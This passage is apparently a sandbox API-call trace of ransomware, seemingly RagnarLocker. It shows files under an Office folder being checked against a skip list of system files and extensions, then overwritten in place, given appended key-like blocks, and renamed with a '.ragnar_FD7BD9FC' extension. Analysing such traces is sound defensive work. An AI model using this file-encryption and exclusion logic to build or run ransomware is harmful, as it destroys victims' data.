dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.908] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.908] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.908] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.908] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.908] GetProcessHeap () returned 0x580000 [0097.908] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.908] CloseHandle (hObject=0x10c) returned 1 [0097.908] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" [0097.908] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF.ragnar_FD7BD9FC" [0097.908] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.909] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10299_.GIF", cAlternateFileName="")) returned 1 [0097.909] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.909] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10299_.GIF" | out: lpString1="BD10299_.GIF") returned="BD10299_.GIF" [0097.909] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF") returned=".GIF" [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="autorun.inf") returned 1 [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="boot.ini") returned -1 [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="bootfont.bin") returned -1 [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="bootsect.bak") returned -1 [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="bootmgr") returned -1 [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="bootmgr.efi") returned -1 [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="desktop.ini") returned -1 [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="iconcache.db") returned -1 [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="ntldr") returned -1 [0097.909] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="ntuser.dat") returned -1 [0097.910] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.910] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="ntuser.ini") returned -1 [0097.910] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="thumbs.db") returned -1 [0097.910] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.910] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.910] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.910] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.910] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.910] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.910] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif")) returned 0x20 [0097.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.911] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=315) returned 1 [0097.911] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x132, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.911] GetProcessHeap () returned 0x580000 [0097.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.911] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.912] VirtualAlloc (lpAddress=0x0, dwSize=0x13b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.912] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.912] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.912] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x13b, lpOverlapped=0x0) returned 1 [0097.912] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.912] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13b, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.912] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x13b, lpOverlapped=0x0) returned 1 [0097.913] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.913] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.913] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x13b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.913] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.913] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.913] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.913] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.913] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.913] GetProcessHeap () returned 0x580000 [0097.913] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.913] CloseHandle (hObject=0x10c) returned 1 [0097.914] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" [0097.914] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF.ragnar_FD7BD9FC" [0097.914] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.915] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10300_.GIF", cAlternateFileName="")) returned 1 [0097.915] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.915] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10300_.GIF" | out: lpString1="BD10300_.GIF") returned="BD10300_.GIF" [0097.915] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF") returned=".GIF" [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="autorun.inf") returned 1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="boot.ini") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="bootfont.bin") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="bootsect.bak") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="bootmgr") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="bootmgr.efi") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="desktop.ini") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="iconcache.db") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="ntldr") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="ntuser.dat") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="ntuser.ini") returned -1 [0097.915] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="thumbs.db") returned -1 [0097.915] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.915] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.915] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.915] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.915] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.915] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.915] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif")) returned 0x20 [0097.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.916] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=261) returned 1 [0097.916] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.916] GetProcessHeap () returned 0x580000 [0097.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.916] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.917] VirtualAlloc (lpAddress=0x0, dwSize=0x105, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.917] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.917] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.917] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x105, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x105, lpOverlapped=0x0) returned 1 [0097.917] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.917] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x105, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.917] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x105, lpOverlapped=0x0) returned 1 [0097.917] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x105, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.917] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.918] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x105, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.918] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.918] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.918] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.918] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.918] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.918] GetProcessHeap () returned 0x580000 [0097.918] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.918] CloseHandle (hObject=0x10c) returned 1 [0097.918] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" [0097.918] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF.ragnar_FD7BD9FC" [0097.918] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.919] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10301_.GIF", cAlternateFileName="")) returned 1 [0097.919] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.919] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10301_.GIF" | out: lpString1="BD10301_.GIF") returned="BD10301_.GIF" [0097.919] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF") returned=".GIF" [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="autorun.inf") returned 1 [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="boot.ini") returned -1 [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="bootfont.bin") returned -1 [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="bootsect.bak") returned -1 [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="bootmgr") returned -1 [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="bootmgr.efi") returned -1 [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="desktop.ini") returned -1 [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="iconcache.db") returned -1 [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="ntldr") returned -1 [0097.919] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="ntuser.dat") returned -1 [0097.920] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.920] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="ntuser.ini") returned -1 [0097.920] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="thumbs.db") returned -1 [0097.920] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.920] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.920] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.920] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.920] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.920] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.920] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif")) returned 0x20 [0097.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.920] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=265) returned 1 [0097.920] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.921] GetProcessHeap () returned 0x580000 [0097.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.921] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.921] VirtualAlloc (lpAddress=0x0, dwSize=0x109, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.922] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.922] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.922] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x109, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x109, lpOverlapped=0x0) returned 1 [0097.922] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.922] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.922] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x109, lpOverlapped=0x0) returned 1 [0097.922] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.922] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.922] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x109, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.922] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.922] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.922] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | 